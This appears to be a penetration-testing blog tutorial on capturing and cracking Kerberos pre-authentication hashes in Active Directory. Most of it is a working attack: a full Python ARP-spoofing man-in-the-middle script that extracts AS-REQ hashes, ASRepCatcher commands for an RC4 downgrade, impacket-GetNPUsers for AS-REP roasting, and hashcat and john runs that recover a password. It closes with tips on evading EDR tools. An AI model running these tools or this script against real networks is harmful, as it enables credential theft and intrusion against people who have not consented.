Kerberos pre-authentication is a mechanism that requires a client to prove knowledge of their password before the Key Distribution Center (KDC) issues any tickets.
When pre-authentication is enabled on an account, the client system will send an Authentication Service Request packet (AS-REQ) to the KDC. The KDC will respond with a KRB5KDC_ERR_PREAUTH_REQUIRED message, indicating to the client pre-authentication will be needed.
The client will then send another AS-REQ packet, containing a timestamp encrypted using it’s own credentials to the domain controller. This ensures that the user is requesting a ticket for themselves, and not another user.
By extracting the following details from a AS-REQ packet, we can create a password hash for a user that could be cracked offline.
- Clients username
- Timestamp (encrypted with the users password derived key)
- Realm information (the domain in Active Directory)
This information can be seen in the below Wireshark output.

Capturing AS-REQ Hashes
We can use a Python script to perform an ARP Man-in-the-Middle attack between a client system and a domain controller to intercept the relevant Kerberos AS-REQ packets.
#!/usr/bin/python3
import sys
import pyshark
import time
import threading
from scapy.all import ARP, Ether, send, getmacbyip
import logging
#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
# AS-REQ Hash Interception #
#####################################################################################
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def check_ip_forwarding():
with open("/proc/sys/net/ipv4/ip_forward", "r") as f:
value = f.read().strip()
if value != "1":
print("[-] IP forwarding is disabled. Exiting.")
sys.exit(1)
def spoof(target_ip, spoof_ip):
packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip)
send(packet, verbose=False)
def extract_krb_hash(packet):
kerberos = packet.kerberos
# Only handle AS-REQ (msg_type 10)
if getattr(kerberos, 'msg_type', '') != '10':
return None
if not hasattr(kerberos, 'cipher') or not hasattr(kerberos, 'enctype'):
return None
enctype = int(kerberos.enctype)
if enctype != 18:
return None
user = getattr(kerberos, 'cnamestring', None)
realm = getattr(kerberos, 'realm', None)
cipher = getattr(kerberos, 'cipher', '').replace(':', '').lower()
if not all([user, realm, cipher]):
return None
# Some packets don't include the domain FQDN in the realm field
if "." not in realm:
realm = realm + ".LOCAL"
hashcat_str = f"$krb5pa${enctype}${user}${realm.upper()}${cipher}"
return hashcat_str
def start_mitm(target_ip,gateway_ip):
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
time.sleep(0.1)
def main():
if len(sys.argv) < 4:
print("Usage: sudo python3 asreq_capture.py [interface] [target_ip] [dc_ip]")
sys.exit(1)
interface = sys.argv[1]
target_ip = sys.argv[2]
gateway_ip = sys.argv[3]
check_ip_forwarding()
t = threading.Thread(target=start_mitm,args=(target_ip,gateway_ip))
t.start()
print(f"[*] Sniffing on interface: {interface}")
print("[*] Waiting for Kerberos AS-REQ packets...")
try:
cap = pyshark.LiveCapture(interface=interface, display_filter="kerberos")
for packet in cap.sniff_continuously():
try:
if 'kerberos' not in packet:
continue
result = extract_krb_hash(packet)
if result:
print(f"[+] Found hash: {result}")
except Exception as e:
# print(f"Error processing packet: {e}")
continue
except KeyboardInterrupt:
print("\n[!] Capture stopped by user.")
print("Crack with hashcat -m 19900 hash.txt")
sys.exit(0)
if __name__ == "__main__":
main()
Extracting hashes.
sudo python3 asreq_capture.py eth0 192.168.1.116 192.168.1.210
[*] Sniffing on interface: eth0
[*] Waiting for Kerberos AS-REQ packets...
[+] Found hash: $krb5pa$18$alice$TESTDOMAIN.LOCAL$bc9058349b404d88ff59ecaee341df3cc3b0cea250bd5576206d4866c9b178c38644ada484e8e35e02d1829cae255eb6357a1e85fe220e61
^C
[!] Capture stopped by user.
Crack with hashcat -m 19900 hash.txt
──(kali㉿kali)-[~/ASREQ]
└─$ hashcat -m 19900 hash.txt wordlist.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 5700X3D 8-Core Processor, 2192/4448 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: wordlist.txt
* Passwords.: 1
* Bytes.....: 10
* Keyspace..: 1
Approaching final keyspace - workload adjusted.
$krb5pa$18$alice$TESTDOMAIN.LOCAL$bc9058349b404d88ff59ecaee341df3cc3b0cea250bd5576206d4866c9b178c38644ada484e8e35e02d1829cae255eb6357a1e85fe220e61:Password1
RC4 Downgrade Attacks
The script above is just set to intercept encryption type 18 packets, i.e those implementing AES encryption (specifically AES256-CTS-HMAC-SHA1-96). However, it may be possible to downgrade the encryption strength to RC4, which are a lot easier to break.
ASRepCatcher does this by intercepting the AS-REQ packets from a client, and spoofing an AS-REP response to request etype 23 (RC4-HMAC) encryption is used instead. Provided the client supports RC4, it will happily agree to this request.
git clone https://github.com/Yaxxine7/ASRepCatcher
sudo python3 ASRepCatcher.py relay -dc 192.168.1.210
_____ _____ _____ _ _
/\ / ____| __ \ / ____| | | | |
/ \ | (___ | |__) |___ _ __ | | __ _| |_ ___| |__ ___ _ __
/ /\ \ \___ \| _ // _ \ '_ \| | / _` | __/ __| '_ \ / _ \ '__|
/ ____ \ ____) | | \ \ __/ |_) | |___| (_| | || (__| | | | __/ |
/_/ \_\_____/|_| \_\___| .__/ \_____\__,_|\__\___|_| |_|\___|_|
| |
|_|
Author : Yassine OUKESSOU
Version : 0.7.0
INFO:[*] DC seems to be in the same VLAN, will spoof as DC's IP
INFO:[*] No interface specified, will use the default interface : eth0
INFO:[*] Targets not supplied, will use local subnet 192.168.1.0/24 minus the gateway
INFO:[+] ARP poisoning the client workstations
INFO:[+] AS-REQ coming from 192.168.1.116 for alice@testdomain
INFO:[+] Hijacking Kerberos encryption negotiation for alice@testdomain...
INFO:[+] Got ASREP for username : alice@testdomain.local
[+] Hash to crack : $krb5asrep$23$alice@testdomain.local:67a73d4a27f6da8eeda13ed2b8334780$e255d00aa8d738590d6d227f2c1aaa7464a92e82d22900be1063065d393e117c65e27ef400108755fc97f2f4bc20534dca242d1b3d3f13f83207e3ca5a9c295a9164d19368453b658000a6fe7072954fff61a0ca8db6590b8089338035d01577f0c5ee2b8e2b9fa0bcc43ef0d15855e0c4f69deb0cba14e90d0a3b799d7d14267b46e75b8678a8f4a3c5921864405172a945562e9792e851a91d94a318a562c91309428f596b97edc315e70ee6ccff77369da051f97ca5004e0c7fb0ae6db2063b0040d79dadb9edef60ae1d7436be97e2abd80e4648003caa31abb35311ce719d999575c3fb790832371c926a2659719a2ed8afff0d259a2d66dcbe922d331d3f4de9801b77d2b3f28c5cc568c1f69c816ed658ea454ba471647b115f33776f15b7660be160b85f51dda11766ccdc78a8d72f06d32ac34d7d
john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Password1 ($krb5asrep$23$alice@testdomain.local)
1g 0:00:00:00 DONE 2/3 (2025-06-13 18:35) 7.142g/s 318585p/s 318585c/s 318585C/s password..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
AS-REP Roasting
The attacks described above rely on Kerberos pre-authentication being enabled. It is possible to disable pre-authentication for an account using Active Directory Users and Computers. I’ve normally seen this setting enabled for legacy UNIX systems that are joined to an Active Directory domain.

With pre-authentication disabled, a client system can retrieve AS-REP packet without having to prove they know the users password. The AS-REP packet will include an encrypted blob, with the encryption key derived from the users password.
This essentially removes the requirement to intercept network traffic, as we can just request the users hash directly from the domain controller. impacket-GetNPUsers can be used to automate this attack. You do need authenticated user access to the domain.
In the below example, the user bob is able to extract alice’s account hash since her account has pre-authentication disabled.
impacket-GetNPUsers -dc-ip 192.168.1.210 -request -format john testdomain.local/bob
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
Name MemberOf PasswordLastSet LastLogon UAC
----- -------- -------------------------- -------------------------- --------
alice 2025-05-23 09:33:47.730772 2025-06-13 10:51:38.235373 0x410200
$krb5asrep$alice@TESTDOMAIN.LOCAL:d4e62e131fad4631ea93ce6c0c6eafe3$0f8bd66d0a0c5051229def518aa78d0f6c86a9711bc1f936eeec3ccf321322679c23f79f10807976b38e0ca7b5d70293727f61f69619956b3a3747c83a28992a9e941134892ca0440e6b0070783afb65b17fce2a840cda26e397001f2f349e0a456749b4cd98be2288cca15e7960863d39270285a5e058774d7b3203fc4c24f01b985c94724d0e9821a985bd36baf1226a03a97a57dca9c5c939b0e0bd818b2d906b1e28874d27891f235764de8ed76da28d48c22a7d7b83c1f597942ca1355f8fad71693a17c6644a24ffee4a22442f8d69e8a9a4fb4f0c84278ca6d3b40303ca823ae1682fa25426ebea65d71c1046d494b808
In Conclusion
If you had administrative access on a host, you could use pktmon to capture Kerberos authentication information to be cracked offline. This may evade some EDR tools that are looking for traditional credential extraction techniques. In addition, intercepting Kerberos credentials would work well when coupled with a 802.1X bypass device, allowing network access and providing credentials at the same time.